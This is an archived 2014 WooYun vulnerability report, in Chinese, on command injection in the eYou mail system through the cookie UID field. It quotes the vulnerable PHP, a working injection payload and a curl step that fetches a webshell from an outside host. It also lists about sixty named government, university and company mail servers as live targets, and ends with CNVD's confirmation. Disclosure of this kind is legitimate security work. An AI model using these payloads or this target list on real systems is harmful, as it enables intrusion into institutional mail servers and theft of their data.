当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-058301

漏洞标题:亿邮邮件系统命令执行漏洞(大量邮件系统沦陷实例)

相关厂商:北京亿中邮信息技术有限公司

漏洞作者: pangshenjie

提交时间:2014-04-24 18:05

修复时间:2014-07-23 18:44

公开时间:2014-07-23 18:44

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-24: 细节已通知厂商并且等待厂商处理中
2014-04-29: 厂商已经确认,细节仅向厂商公开
2014-05-02: 细节向第三方安全合作伙伴开放
2014-06-23: 细节向核心白帽子及相关领域专家公开
2014-07-03: 细节向普通白帽子公开
2014-07-13: 细节向实习白帽子公开
2014-07-23: 细节向公众公开

简要描述:

涉及到的应该是亿邮v4版本的。互联网仍有大量实例。

详细说明:

poc:
利用:/user/list.php 爆路径
然后cookie内USER修改为如下:

UID=1+|+echo+test+>>/路径/xxx.txt


eyou邮件系统早期版本中存在大量的exec().system() ``等敏感可能导致命令执的敏感函数和代码
其中,/inc/function.php 中存在如下代码:
function getUserDirPath($uid, $domain) {
$cmd = "/var/eyou/sbin/hashid $uid $domain";
$path = `$cmd`; //使用反引号导致$cmd可以被执行
$path = trim($path);
return $path;
}
search了一下,在/user/storage_explore.php 中调用该函数:
$skin = getCookieUserValue('SKIN');
$uid = getCookieUserValue('UID');
$domain = getCookieUserValue('DOMAIN');
$user_dir_path = getUserDirPath($uid, $domain);
$storage_index_path = $user_dir_path.'/storage/Index/';
$storage_data_path = $user_dir_path.'/storage/Data/';
$userinfo = get_userinfo($uid , $domain);
$uid , $domain 分别都是getCookieUserValue 函数来获取的,该函数也在function.php
中定义:
function getCookieUserValue($key) {
$user_arr = explode('&', cookie('USER'));
$n = count($user_arr);
for ($i = 0; $i < $n; $i++) {
$g_arr = explode('=', $user_arr[$i]);
if ($g_arr[0] == $key) {
return $g_arr[1];
}
}
return null;
}
然后就可以呵呵呵了。
控制cookie中USER内容中UID=+|+echo+123+>>/tmp/xxx.txt
即可执行命令。
另外厂商还附送了一枚爆路径:
/user/list.php
攻击者完全可以利用此处获取webshell控制系统

漏洞证明:

/user/storage_fold_explore.php
/user/storage_explore.php
控制cookie 中 USER字段的值:UID=1+|+patload

payload.jpg


test.jpg


爆路径:

list.jpg


另外测试的一个站发现开了gpc了。echo写shell的时候里面的尖括号等符号需要转义,
而转义符号又会被gpc再转义一次。
so,可以 curl http://xxx.com/ >>path/shell.php 写shell。
虽然应该涉及到的不是eyou最新版本,但是网上依然可以找到大量实例,google:intitle:亿邮通讯 前几页就找到不少(另外应该还有不少改了关键字的):
http://mail.sihs.edu.cn/user/storage_explore.php
http://mail.bjsasc.com/user/storage_explore.php
http://cma.org.cn/user/storage_explore.php
http://gzlps.gov.cn/user/storage_explore.php
http://mail.bjtsb.gov.cn/user/storage_explore.php
http://mail.ynfda.gov.cn/user/storage_explore.php
http://mail.sihs.edu.cn/user/storage_explore.php
http://mail.gzhmc.edu.cn/user/storage_explore.php
http://mail.ynjcy.gov.cn/user/storage_explore.php
http://mail.whuh.com/user/storage_explore.php
http://mail.baoshan.gov.cn/user/storage_explore.php
http://mail.huayou.com/user/storage_explore.php
http://mail.glzx.net/user/storage_explore.php
http://mail.workercn.cn/user/storage_explore.php
http://mail.ynfda.gov.cn/user/storage_explore.php
http://mail.lijiang.cn/user/storage_explore.php
http://mail.gduf.edu.cn/user/storage_explore.php
http://mail.wnu.edu.cn/user/storage_explore.php
http://mail.xsbn.gov.cn/user/storage_explore.php
http://mail.jxrtvu.com/user/storage_explore.php
http://mail.yn.gov.cn/user/storage_explore.php
http://mail.nbcc.cn/user/storage_explore.php
http://www.bhhco.com/user/storage_explore.php
http://221.199.11.171/user//storage_explore.php
http://www.bhl.net.cn/user//storage_explore.php
http://mail.xsbn.gov.cn/user/storage_explore.php
http://mail.ynagri.gov.cn/user/storage_explore.php
http://mail.yngzw.gov.cn/user/storage_explore.php
http://mail.zlvc.edu.cn/user/storage_explore.php
http://www.wxjd.com.cn:8080/user/storage_explore.php
http://email.cin.gov.cn/user/storage_explore.php
http://mail.ynppb.gov.cn/user/storage_explore.php
http://mail.sdhyxy.com/user/storage_explore.php
http://m.zime.edu.cn/user/storage_explore.php
http://mail.jsjzi.edu.cn/user/storage_explore.php
http://mail.mastvu.ah.cn/user/storage_explore.php
http://mail.ynnic.gov.cn//user/storage_explore.php
http://mail.xys.gov.cn/user/storage_explore.php
http://mail.ynbtv.cn/user/storage_explore.php
http://mail.cxdrc.gov.cn/user/storage_explore.php
http://mail.tjha.cn/user/storage_explore.php
http://mail.zzvcom.com/user/storage_explore.php
http://mail.jku.cn/user/storage_explore.php
http://www.sit.com.cn:802/user/storage_explore.php
http://mail.cein.gov.cn/user/storage_explore.php
http://email.10050.net/user/storage_explore.php
http://mail.zjiet.edu.cn/user/storage_explore.php
http://mail.tianhe.com/user/storage_explore.php
http://ms.sytu.edu.cn/user/storage_explore.php
http://mail.hao1818.com/user/storage_explore.php
http://mail.sxky.cn/user/storage_explore.php
http://mail.cnxw.com.cn/user/storage_explore.php
http://mail.yongren.gov.cn/user/storage_explore.php
http://mail.mdx.gov.cn/user/storage_explore.php
http://mail.bofcom.gov.cn/user/storage_explore.php
http://mail.nanning.gov.cn/user/storage_explore.php
http://mail.ahgzw.gov.cn/user/storage_explore.php
http://mail.wtec.com.cn/user/storage_explore.php
http://mail.chu.edu.cn/user/storage_explore.php
http://210.43.128.17/user/storage_explore.php

修复方案:

你懂的

版权声明:转载请注明来源 pangshenjie@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-04-29 09:26

厂商回复:

CNVD确认并复现所述情况,在改写无害化检测脚本后对相关服务器进行巡检,至26日发现有338台服务器受到影响,根据测试用例情况,转由CNCERT分别向分中心以及重要行业单位通报。漏洞情况已经先期发给亿中邮公司,待其发布补丁。

最新状态:

暂无